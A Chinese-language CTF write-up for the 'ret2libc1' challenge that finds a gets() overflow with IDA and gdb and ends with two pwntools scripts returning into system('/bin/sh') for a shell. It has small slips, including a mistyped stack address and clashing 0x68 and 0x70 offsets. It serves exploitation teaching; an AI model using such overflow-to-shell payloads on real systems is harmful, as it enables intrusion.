ret2libc1

1、查看架构和保护措施

使用checksec <文件>查了架构和保护措施

几个方向:

没有PIE,ret2libc,ret2text,ret2shellcode

开启NX保护,retlibc,ret2shellcode

其他,ret2syscall

使用file <文件>查看链接方式

该文件属于动态链接

2、确定方向

  • 在Function Window 界面发现了疑似后门的函数

  • secure函数调用了system函数,但是system函数的参数不是“/bin/sh”,也就没办法获取shell,但是system函数在plt段生成了一个表项

  • 按Shift+F12,来到文件的全部字符串界面,发现了可以作为参数的“/bin/sh”字符串

  • 结合前面已经收集到的信息:开启了NX保护+动态链接+system在plt段生成了一个表项+发现了可以作为参数的“/bin/sh”字符串,所以这个是ret2libc

  • 记录地址信息(尽量都尝试,因为在特殊情况下,有些方法分析得出的地址可能会出错)

    • system函数的plt地址

      • 根据IDA静态分析得出

      • 根据gdb动态调试得出

      • 根据pwntools的elf文件对象得出(对象写在python脚本里)

    • “/bin/sh”字符串的地址

      • 根据IDA静态分析得出

      • 根据ROPgadget工具得出

    • ROPgadget --binary <文件> --string "/bin/sh"

      • 根据pwntools的elf文件对象得出(对象写在python脚本里)

3、寻找危险函数

  • 在main函数的汇编界面,按F5反编译成C语言代码

  • 分析main函数的主逻辑

    • setbuf是设置缓冲区,stdout是标准输出,表示0,没有漏洞

    • puts函数不存在漏洞

    • gets函数向main函数的局部变量s写入无限长的字节数据,存在漏洞!

4、计算偏移量

  • IDA静态分析得出:s到ret_addr的距离为0x64+0x4=0x68

  • gdb动态调试求偏移量

①gdb <文件>

②b mian 或者start进入到程序的入口(当面对较复杂时,在我们想要的位置上打断点,具体会在ret2libc3介绍)

③使用r命令,如果有断点,停在断点处;

各个窗口如图所示

④在“DISASM”反汇编窗口观察程序执行逻辑,输入ni,进行单步过操作

⑤一直步过到“gets函数”,我们不需要进入到gets函数的内部,此时终端处于等待用户输入的状态(规律:凡是库函数都不需要进入函数内部)

输入’aaaa‘,(根据程序的位数输入4位还是8位的数据),然后执行stack <数字>查看任意多行的栈空间的情况

观察’aaaa‘数据最后存放在0xffffd14c的位置上,这就是s的地址,返回地址就是ebp的下一单元

⑥计算s到ret_addr的偏移量

s的地址:0xffffd14c

ret_addr的地址:0xffff1bc(其实gdb已经告诉我们这个地址里的内容就是_libc_start_main函数下一条指令:add esp 0x10 的地址)

使用gdb自带的计算距离的指令:distance <地址1> <地址2>

distance 0xffffd14c 0xffffd1bc

计算得出偏移量:0x70 bytes

5、编写exp

exp1

from pwn import *

io = process('./ret2libc1')

system_plt_addr = 0x08048460

bin_sh_addr = 0x08048720

payload = flat([b'A'*0x70,system_plt_addr,b'AAAA',bin_sh_addr])

io.sendline(payload)

io.interactive()

exp2

from pwn import *

io = process('./ret2libc1')

elf = ELF('./ret2libc1')

system_plt_addr = elf.plt['system']

bin_sh_addr = next(elf.search(b'/bin/sh'))

payload = b'A'*0x70+p32(system_plt_addr)+b'aaaa'+p32(bin_sh_addr)

io.sendline(payload)

io.interactive()